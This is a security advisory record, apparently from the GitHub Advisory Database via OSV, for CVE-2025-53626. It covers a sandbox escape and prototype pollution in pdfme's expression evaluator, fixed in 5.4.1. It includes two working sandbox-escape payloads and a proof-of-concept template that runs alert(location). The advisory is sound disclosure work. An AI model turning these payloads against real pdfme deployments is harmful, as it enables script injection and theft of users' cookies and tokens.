{"id":"GHSA-54xv-94qv-2gfg","revision":"9ff304fcafde42dfa1b810a34caca07c","records":[{"revision":"9ff304fcafde42dfa1b810a34caca07c","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-54xv-94qv-2gfg","aliases":["CVE-2025-53626"],"title":"@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation","description":"## Summary\nThe expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.\n\n## Details\n\n### 1. Sandbox Escape Leading to XSS\n\nThe expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:\n\n```javascript\n// Attack vector 1: Using Object.getOwnPropertyDescriptor\n{ ((f, g) => f(g(Object), \"constructor\").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)(\"alert(location)\")() }\n\n// Attack vector 2: Using object property access\n{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), \"constructor\").value(\"alert(location)\")() }\n```\n\nBoth payloads bypass the sandbox restrictions and execute `Function(\"alert(location)\")()`.\n\n### 2. Prototype Pollution\n\nThe expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:\n- `__lookupGetter__`\n- `__lookupSetter__`\n- `__defineGetter__`\n- `__defineSetter__`\n\n## Impact\n\nThese vulnerabilities allow attackers to:\n- Execute arbitrary JavaScript code in the context of the application\n- Steal sensitive information including cookies and tokens\n- Modify application behavior through prototype pollution\n- Potentially perform actions on behalf of users\n\n## Proof of Concept\n\nLoading the following template in pdfme triggers `alert(location)`:\n\n```json\n{\n  \"schemas\": [[{\n    \"name\": \"field1\",\n    \"type\": \"text\",\n    \"content\": \"{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }\",\n    \"position\": { \"x\": 0, \"y\": 0 },\n    \"width\": 100,\n    \"height\": 100\n  }]],\n  \"basePdf\": { \"width\": 100, \"height\": 100 },\n  \"pdfmeVersion\": \"5.4.0\"\n}\n```","state":0,"publishedAt":"2025-07-10T17:43:52+00:00","modifiedAt":"2026-09-10T03:50:25.7391792+00:00","affected":[{"ecosystem":"npm","name":"@pdfme/common","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.2.0"},{"kind":"fixed","version":"5.4.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/pdfme/pdfme/security/advisories/GHSA-54xv-94qv-2gfg","https://nvd.nist.gov/vuln/detail/CVE-2025-53626","https://github.com/pdfme/pdfme/pull/1117","https://github.com/pdfme/pdfme/commit/0dd54739acff2c249ed68c001a896bee38f0fd85","https://github.com/pdfme/pdfme","https://github.com/pdfme/pdfme/releases/tag/5.4.1"],"sourceUrl":"https://github.com/advisories/GHSA-54xv-94qv-2gfg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-54xv-94qv-2gfg","identifiers":["GHSA-54xv-94qv-2gfg","CVE-2025-53626"]},"retained":false,"historicalAffected":[]}],"coverage":[]}